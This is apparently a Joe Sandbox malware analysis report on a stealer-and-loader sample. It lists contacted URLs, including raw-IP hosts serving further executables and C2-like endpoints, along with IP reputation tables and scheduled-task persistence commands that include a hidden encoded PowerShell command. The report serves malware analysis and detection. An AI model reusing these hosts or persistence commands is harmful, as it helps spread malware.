http://45.91.200.135/api/wp-admin.php3	RegAsm.exe, 00000003.00000002.1690067906.0000000003FB5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gcc.gnu.org/bugs/):	IZImiIFXXrvtVOHFozZW.dll.6.dr	false		unknown
https://duckduckgo.com/ac/?q=	G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://marafon.in/dergrherg/setup1.exexe	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.discordapp.com/6	RegAsm.exe, 00000003.00000002.1690067906.0000000003FDA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.208.158.248/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82d	playglock32x64.exe, 0000000D.00000002.2679705676.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.91.200.135:80/api/wp-admin.phpU	RegAsm.exe, 00000003.00000002.1688734412.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api64.ipify.org:443/?format=json	RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.91.200.135/api/wp-admin.phpH	RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.91.200.135:80/api/wp-admin.phpd	RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://80.66.75.114/namel	tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2102544836.000000000055A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.58.114.223/d/385121%	RegAsm.exe, 00000003.00000002.1690067906.0000000003F80000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io:443/widget/demo/8.46.123.33Z	RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.208.158.248/-	playglock32x64.exe, 0000000D.00000002.2679705676.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://fivevh5pt.top/	G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1693465597.0000000001552000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.91.200.135/api/wp-admin.phprN	RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.91.200.135/l	RegAsm.exe, 00000003.00000002.1688734412.0000000001107000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.sandbox.midtrans.comcrypto/aes:	Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1762556798.0000000000CAA000.00000002.00000001.01000000.0000000A.sdmp, CheckTool[1].exe.3.dr	false		unknown
http://103.130.147.211/Files/CheckTool.exeC:	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.certum.pl/CPS0	is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	false	URL Reputation: safe	unknown
http://103.130.147.211/Files/CheckTool.exeK	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.innosetup.com/	hI6pMK6rYY2urO_lpGyU85DA.tmp, hI6pMK6rYY2urO_lpGyU85DA.tmp, 0000000B.00000000.1595851953.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	false	URL Reputation: safe	unknown
https://ghostreedmnu.shop/	BitLockerToGo.exe, 00000032.00000002.1779130970.0000000002692000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://80.66.75.114/add?substr=mixnine&s=three&sub=NOSUBF	tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2103324889.0000000002B50000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.58.114.223/	RegAsm.exe, 00000003.00000002.1690067906.0000000003F80000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ghostreedmnu.shop/m	BitLockerToGo.exe, 00000032.00000002.1779130970.0000000002692000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://80.66.75.114/add?substr=mixnine&s=three&sub=NOSUBI	tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2103324889.0000000002B50000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.58.114.223/d/385121C:	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.certum.pl/ctnca.crl0k	is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	false	URL Reputation: safe	unknown
http://103.130.147.211/Files/Channel2.exeDBK7bm	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.208.158.248/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908	playglock32x64.exe, 0000000D.00000002.2683340314.0000000003580000.00000004.00000020.00020000.00000000.sdmp, playglock32x64.exe, 0000000D.00000002.2679705676.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2053622076.0000000002C0F000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2052522216.000000000305D000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2052810858.000000000305D000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2053688783.0000000002BB1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	BitLockerToGo.exe, 00000032.00000003.1768734098.000000000270A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000032.00000002.1779130970.0000000002692000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000032.00000003.1768755104.00000000026B2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://103.130.147.211/Files/Channel2.exel	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplog.co/%M	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://80.66.75.114/soft/downloadKR	tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2103324889.0000000002B50000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io/	RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.91.200.135:80/api/wp-admin.php	RegAsm.exe, 00000003.00000002.1688734412.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.91.200.135:80/api/wp-ping.php	RegAsm.exe, 00000003.00000002.1688734412.000000000111D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g-cleanit.hk	tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2053622076.0000000002C0F000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2052522216.000000000305D000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2052810858.000000000305D000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2053688783.0000000002BB1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io/(	RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://103.130.147.211/Files/Silencer.exe/	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io/https://ipgeolocation.io/::	file.exe, 00000000.00000002.1417872247.0000000004025000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://45.91.200.135/api/wp-ping.php	RegAsm.exe, 00000003.00000002.1688734412.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplog.co/1S3fd7&	RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.91.200.135/api/wp-ping.phpU	RegAsm.exe, 00000003.00000002.1688734412.000000000111D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://repository.certum.pl/cscasha2.cer0	is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	false		unknown
https://api64.ipify.org/	RegAsm.exe, 00000003.00000002.1688734412.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://103.130.147.211/Files/Silencer.exeC:	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://103.130.147.211/Files/Channel2.exeC:	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.discordapp.com/	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.midtrans.comGetUserDefaultLocaleNameinvalid	Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1762556798.0000000000CAA000.00000002.00000001.01000000.0000000A.sdmp, CheckTool[1].exe.3.dr	false		unknown
http://80.66.75.114/dl?name=mixninelVz0BoyeRjU78	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.openssl.org/support/faq.html	is-5ANFC.tmp.11.dr	false	URL Reputation: safe	unknown
http://45.91.200.135/api/wp-admin.php	RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1690067906.0000000003FB5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1690067906.0000000003F8B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipgeolocation.io/	RegAsm.exe	false		unknown
http://103.130.147.211/Files/tac.exeC:	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://80.66.75.114/dl?name=mixnineC:	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplog.co/	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	false	URL Reputation: safe	unknown
http://marafon.in/dergrherg/setup1.exeC:	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.91.200.135/	RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://serviceupdate32.com/update	G__XJZ9ACVwRjgVn6BXId6E1.exe, G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000000.1571265793.00000000013E2000.00000002.00000001.01000000.00000006.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://subca.ocsp-certum.com01	is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	false	URL Reputation: safe	unknown
http://45.91.200.135/api/wp-ping.phpA	RegAsm.exe, 00000003.00000002.1688734412.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplog.co/p	RegAsm.exe, 00000003.00000002.1690067906.0000000003FB5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://80.66.75.114/dl?name=mixninee	RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.openssl.org/f	is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	false	URL Reputation: safe	unknown
http://176.113.115.95/thebig/stories.exeC:	RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
194.58.114.223	unknown	Russian Federation	197695	AS-REGRU	false
80.66.75.114	unknown	Russian Federation	20803	RISS-ASRU	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
103.130.147.211	unknown	Turkey	63859	MYREPUBLIC-AS-IDPTEkaMasRepublikID	false
84.38.182.221	fivevh5pt.top	Russian Federation	49505	SELECTELRU	true
45.91.200.135	unknown	Netherlands	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	false
162.159.130.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
185.208.158.248	ejrsoyz.ua	Switzerland	34888	SIMPLECARRER2IT	true
188.114.96.3	iplog.co	European Union	13335	CLOUDFLARENETUS	true
176.113.115.95	unknown	Russian Federation	49505	SELECTELRU	false
173.231.16.77	api64.ipify.org	United States	18450	WEBNXUS	false
147.45.60.44	marafon.in	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
89.105.201.183	unknown	Netherlands	24875	NOVOSERVE-ASNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1521590
Start date and time:	2024-09-29 00:52:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	57
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.adwa.spyw.evad.winEXE@114/107@8/13
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 71% Number of executed functions: 51 Number of non-executed functions: 72
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): api4.check-data.xyz, slscr.update.microsoft.com, helsinki-dtc.com, ctldl.windowsupdate.com, www.googleapis.com, www.rapidfilestorage.com, fe3cr.delivery.mp.microsoft.com, clients2.googleusercontent.com, clients2.google.com, ocsp.digicert.com, login.live.com, umwatson.events.data.microsoft.com, service-domain.xyz, skrptfiles.tracemonitors.com
Execution Graph export aborted for target G__XJZ9ACVwRjgVn6BXId6E1.exe, PID 7876 because there are no executed function
Execution Graph export aborted for target Ifh3vuF2SF2LvHombSP7ZGRi.exe, PID 7924 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
18:53:39	API Interceptor	3x Sleep call for process: G__XJZ9ACVwRjgVn6BXId6E1.exe modified
18:53:39	API Interceptor	11x Sleep call for process: powershell.exe modified
18:53:44	API Interceptor	1x Sleep call for process: WMIC.exe modified
18:53:49	API Interceptor	1x Sleep call for process: BitLockerToGo.exe modified
18:54:09	API Interceptor	91x Sleep call for process: playglock32x64.exe modified
23:53:45	Task Scheduler	Run new task: bMvfdBTccYfZYKRCwN path: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe s>Is /mKdidL 385121 /S
23:53:52	Task Scheduler	Run new task: gKAeQZIQg path: powershell s>-WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
23:54:07	Task Scheduler	Run new task: jifphGlsttgIByfPt path: C:\Windows\Temp\txJGRbGVqmJDfiuV\qwscorbXvNJMFvl\RIJkjlD.exe s>2L /ysPkdidEo 385121 /S
23:54:28	Task Scheduler	Run new task: QKuONOltAdEpZ2 path: C:\Windows\system32\forfiles.exe s>/p C:\Windows\system32 /m wscript.exe /c "cmd /C @FNAME ^"C:\ProgramData\XwhTcPBvZmsNuHVB\XprRcxf.wsf^""
23:54:47	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
194.58.114.223	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	194.58.114.223/d/385121
	CSBls4grBI.exe	Get hash	malicious	LummaC, Socks5Systemz	Browse	194.58.114.223/d/385121
	UzOiLxrF4d.exe	Get hash	malicious	Amadey, Neoreklami	Browse	194.58.114.223/d/385121
	file.exe	Get hash	malicious	LummaC Stealer	Browse	194.58.114.223/d/385104
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer	Browse	194.58.114.223/d/385104
	file.exe	Get hash	malicious	LummaC, Cryptbot, LummaC Stealer	Browse	194.58.114.223/d/385104
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	194.58.114.223/d/385107
	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse	194.58.114.223/d/525403
	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	194.58.114.223/d/525403
	file.exe	Get hash	malicious	Cryptbot	Browse	194.58.114.223/d/385104
80.66.75.114	univ.exe	Get hash	malicious	Unknown	Browse	80.66.75.114/soft/download
	univ.exe	Get hash	malicious	Unknown	Browse	80.66.75.114/soft/download
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	80.66.75.114/dl?name=mixnine
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot, Neoreklami, Socks5Systemz	Browse	80.66.75.114/dl?name=mixnine.exe
	file.exe	Get hash	malicious	Unknown	Browse	80.66.75.114/soft/download
	CSBls4grBI.exe	Get hash	malicious	LummaC, Socks5Systemz	Browse	80.66.75.114/soft/download
	t2UZUYgpKV.exe	Get hash	malicious	GCleaner	Browse	80.66.75.114/files/download
	4cxqNGB7N2.exe	Get hash	malicious	GCleaner	Browse	80.66.75.114/files/download
	SecuriteInfo.com.Win32.CrypterX-gen.27154.11356.exe	Get hash	malicious	Unknown	Browse	80.66.75.114/soft/download
	SecuriteInfo.com.W32.Kryptik.LKE.gen.Eldorado.589.31532.exe	Get hash	malicious	Unknown	Browse	80.66.75.114/soft/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fivevh5pt.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	84.38.182.221
marafon.in	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	147.45.60.44
marafon.in	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot, Neoreklami, Socks5Systemz	Browse	147.45.60.44
ipinfo.io	http://telegriame.club/	Get hash	malicious	Telegram Phisher	Browse	34.117.59.81
	http://telegrvams.club/	Get hash	malicious	Telegram Phisher	Browse	34.117.59.81
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	34.117.59.81
	http://glamorous-productive-baboon.glitch.me/	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	34.117.59.81
	http://telegrrem.xyz/	Get hash	malicious	Telegram Phisher	Browse	34.117.59.81
	VL1xZpPp1I.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	https://cantanero.pro/	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	https://pdftomuchmattersupdatings-vercel-app.translate.goog/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp	Get hash	malicious	Unknown	Browse	34.117.59.81
	http://www.telegrramm.help/	Get hash	malicious	Unknown	Browse	34.117.59.81
iplog.co	CSBls4grBI.exe	Get hash	malicious	LummaC, Socks5Systemz	Browse	188.114.96.3
	http://iplog.co/2lQGf3	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://iplog.co/24FCf6	Get hash	malicious	Unknown	Browse	104.21.62.25
	QecR2L8QRt.exe	Get hash	malicious	Unknown	Browse	172.67.219.22
	QecR2L8QRt.exe	Get hash	malicious	Unknown	Browse	172.67.219.22

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RISS-ASRU	univ.exe	Get hash	malicious	Unknown	Browse	80.66.75.114
	univ.exe	Get hash	malicious	Unknown	Browse	80.66.75.114
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	80.66.75.114
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot, Neoreklami, Socks5Systemz	Browse	80.66.75.114
	file.exe	Get hash	malicious	Unknown	Browse	80.66.75.114
	CSBls4grBI.exe	Get hash	malicious	LummaC, Socks5Systemz	Browse	80.66.75.114
	t2UZUYgpKV.exe	Get hash	malicious	GCleaner	Browse	80.66.75.114
	4cxqNGB7N2.exe	Get hash	malicious	GCleaner	Browse	80.66.75.114
	SecuriteInfo.com.Win32.CrypterX-gen.27154.11356.exe	Get hash	malicious	Unknown	Browse	80.66.75.114
	SecuriteInfo.com.W32.Kryptik.LKE.gen.Eldorado.589.31532.exe	Get hash	malicious	Unknown	Browse	80.66.75.114
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	http://telegriame.club/	Get hash	malicious	Telegram Phisher	Browse	34.117.59.81
	http://telegrvams.club/	Get hash	malicious	Telegram Phisher	Browse	34.117.59.81
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	34.117.59.81
	http://yusdydsfjuuxx.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	34.117.77.79
	http://loginscrecghjk.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	34.117.77.79
	http://glamorous-productive-baboon.glitch.me/	Get hash	malicious	Unknown	Browse	34.117.59.81
	http://currentlyatt57update.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	34.117.77.79
	http://attlevvbest.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	34.117.77.79
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	34.117.59.81
	http://activa1dina.w3spaces.com/	Get hash	malicious	Unknown	Browse	34.117.239.71
AS-REGRU	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	194.58.114.223
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	37.140.192.213
	RTGS-WB-ABS-240730-NEW.lnk	Get hash	malicious	AgentTesla	Browse	176.99.3.36
	PO For Bulk Order.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	194.58.112.174
	CSBls4grBI.exe	Get hash	malicious	LummaC, Socks5Systemz	Browse	194.58.114.223
	0435.pdf.exe	Get hash	malicious	SmokeLoader	Browse	194.58.112.174
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	194.58.112.174

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	173.231.16.77 34.117.59.81 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	173.231.16.77 34.117.59.81 188.114.96.3
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	173.231.16.77 34.117.59.81 188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	173.231.16.77 34.117.59.81 188.114.96.3
	file.exe	Get hash	malicious	SmokeLoader	Browse	173.231.16.77 34.117.59.81 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	173.231.16.77 34.117.59.81 188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	173.231.16.77 34.117.59.81 188.114.96.3
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	173.231.16.77 34.117.59.81 188.114.96.3
	Trjscan_[7MB]_[unsign].exe	Get hash	malicious	LummaC	Browse	173.231.16.77 34.117.59.81 188.114.96.3
	Trjscan_[7MB]_[unsign].exe	Get hash	malicious	LummaC	Browse	173.231.16.77 34.117.59.81 188.114.96.3
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	162.159.130.233
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	162.159.130.233
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	162.159.130.233
	file.exe	Get hash	malicious	Vidar	Browse	162.159.130.233
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	162.159.130.233
	CpMQGUserR.exe	Get hash	malicious	Unknown	Browse	162.159.130.233
	Installer.msi	Get hash	malicious	Unknown	Browse	162.159.130.233
	CpMQGUserR.exe	Get hash	malicious	Unknown	Browse	162.159.130.233
	file.exe	Get hash	malicious	Remcos, GuLoader	Browse	162.159.130.233
	New_Order-Rquest_Quotation_Specifications_Drawings_Samplespdf.bat.exe	Get hash	malicious	Remcos, GuLoader	Browse	162.159.130.233

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\dll[1]	univ.exe	Get hash	malicious	Unknown	Browse
	univ.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	CSBls4grBI.exe	Get hash	malicious	LummaC, Socks5Systemz	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.27154.11356.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.W32.Kryptik.LKE.gen.Eldorado.589.31532.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	GCleaner, Nymaim	Browse
	file.exe	Get hash	malicious	GCleaner, Nymaim	Browse
	LKmdGDfKeP.exe	Get hash	malicious	MinerDownloader, Laplas Clipper, Nymaim, RedLine, Vidar, Xmrig	Browse

Created / dropped Files

C:\ProgramData\Edrax Smart Maker 9.28.47\Edrax Smart Maker 9.28.47.exe

Download File

Process:	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
